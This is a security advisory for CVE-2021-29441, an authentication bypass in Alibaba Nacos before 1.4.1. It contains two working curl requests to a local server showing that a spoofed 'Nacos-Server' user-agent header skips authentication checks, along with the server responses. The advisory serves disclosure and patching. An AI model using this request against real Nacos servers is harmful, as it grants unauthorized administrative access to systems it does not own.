CVE-2021-29441 – com.alibaba.nacos:nacos-common
Package
Manager: maven
Name: com.alibaba.nacos:nacos-common
Vulnerable Version: >=0 <1.4.1
Severity
Level: High
CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N/E:U/RL:U/RC:C
CVSS v4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
EPSS: 0.94046 pctl0.99893
Details
Authentication Bypass When configured to use authentication (`-Dnacos.core.auth.enabled=true`) Nacos uses the `AuthFilter` servlet filter to enforce authentication. This filter has a [backdoor](https://github.com/alibaba/nacos/blob/5fa05aef52f7432aeab19fe53035431b9d8c91d9/core/src/main/java/com/alibaba/nacos/core/auth/AuthFilter.java#L78-L81) that enables Nacos servers to bypass this filter and therefore skip authentication checks. This mechanism relies on the `user-agent` HTTP header so it can be easily spoofed. The following request to the `configuration` endpoint gets rejected as we are not providing any credentials: ``` ❯ curl -X POST "http://127.0.0.1:8848/nacos/v1/cs/configs?dataId=nacos.cfg.dataIdfoo&group=foo&content=helloWorld" {"timestamp":"2020-12-02T14:33:57.154+0000","status":403,"error":"Forbidden","message":"unknown user!","path":"/nacos/v1/cs/configs"} ``` However the following one gets accepted by using the `Nacos-Server` user-agent header: ``` ❯ curl -X POST -A Nacos-Server "http://127.0.0.1:8848/nacos/v1/cs/configs?dataId=nacos.cfg.dataIdfoo&group=foo&content=helloWorld" true ``` #### Impact This issue may allow any user to carry out any administrative tasks on the Nacos server.
Metadata
Created: 2021-04-27T20:09:17Z
Modified: 2021-05-10T14:56:08Z
Source: https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/04/GHSA-36hp-jr8h-556f/GHSA-36hp-jr8h-556f.json
CWE IDs: ["CWE-290"]
Alternative ID: GHSA-36hp-jr8h-556f
Finding: F032
Auto approve: 1